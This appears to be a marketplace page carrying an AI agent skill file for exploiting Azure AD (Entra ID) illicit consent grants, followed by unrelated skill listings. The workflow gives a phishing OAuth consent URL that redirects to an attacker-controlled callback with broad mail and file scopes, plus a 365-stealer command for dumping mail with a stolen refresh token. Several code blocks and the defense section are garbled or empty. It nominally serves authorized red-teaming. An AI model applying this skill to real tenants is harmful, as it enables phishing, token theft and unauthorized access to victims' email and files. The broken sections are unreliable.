Skip to content

ShulkwiSEC/bb-huge / skills/curated/azure-ad-illicit-consent-grant

azure-ad-illicit-consent-grant

Verified

Exploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers crafting a malicious OAuth application to trick victims into granting broad permissions (like reading emails, modifying files) without requiring their password or MFA.

FileKindSize
SKILL.mdskill md4.2 KB
evals/evals.jsonconfig546 B
scripts/process.pyscript7.8 KB
---
name: azure-ad-illicit-consent-grant
description: >
  Exploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers 
  crafting a malicious OAuth application to trick victims into granting broad permissions 
  (like reading emails, modifying files) without requiring their password or MFA.
domain: cybersecurity
subdomain: penetration-testing
category: Cloud Security
difficulty: intermediate
estimated_time: "2-3 hours"
mitre_attack:
  tactics: [TA0001, TA0005, TA0009]
  techniques: [T1528]
platforms: [azure, cloud]
tags: [azure, entra-id, oauth, illicit-consent, phishing, cloud-pentesting]
tools: [azure-cli, burp-suite, 365-stealer]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---

# Azure AD Illicit Consent Grant Attack

## When to Use
- When conducting cloud-focused Red Team engagements where standard credential phishing is blocked by strong Multi-Factor Authentication (MFA).
- To maintain stealthy, persistent access to a user's Microsoft 365 data (emails, OneDrive) by relying on OAuth refresh tokens rather than stolen passwords.


## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Registering the Malicious Application

```bash
# ```

### Phase 2: Defining Scopes and Permissions

```json
// // {
  "requestedPermissions": [
    { "id": "Mail.ReadWrite", "type": "Scope" },
    { "id": "Files.ReadWrite.All", "type": "Scope" },
    { "id": "User.Read", "type": "Scope" }
  ]
}
```

### Phase 3: Crafting the Consent Link (The Phish)

```http
# # https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID
&response_type=code
&redirect_uri=https://attacker-controlled-site.com/callback
&response_mode=query
&scope=Mail.ReadWrite%20Files.ReadWrite.All%20User.Read%20offline_access
&state=12345
```

### Phase 4: Harvesting the Tokens and Accessing Data

```bash
# python3 365-stealer.py --refresh-token [STOLEN_REFRESH_TOKEN] --dump-mail
```

#### Decision Point πŸ”€
```mermaid
flowchart TD
    A[Send Phishing Link ] --> B{User Consents? ]}
    B -->|Yes| C[Receive Auth Code ]
    B -->|No| D[Revise Pretext ]
    C --> E[Exchange for Token ]
```

## πŸ”΅ Blue Team Detection & Defense
- **Restrict App Consent**: - **Monitor Azure AD Audit Logs**: **Defend against Oauth Phishing**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Azure Ad Illicit Consent Grant β€” Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] β€” [Brief description]
  [Finding 2]: [Severity] β€” [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## πŸ“š Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β€” Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β€” HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β€” Verified disclosed bounties by vulnerability class

## References
- Microsoft: [Detect and Remediate Illicit Consent Grants](https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants)
- O365 Stealer: [GitHub Repository](https://github.com/AlteredSecurity/365-Stealer)
writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deploymentStars: 323kUpdated Claude CodeCodexVerifiedInstall
xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path β€” even casually (like "the xlsx in my downloads") β€” and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved.Stars: 198kUpdated Claude CodeCodexVerifiedInstall
shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy.Stars: 119kUpdated Claude CodeCodexVerifiedInstall
childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release.Stars: 118kUpdated Claude CodeCodexVerifiedInstall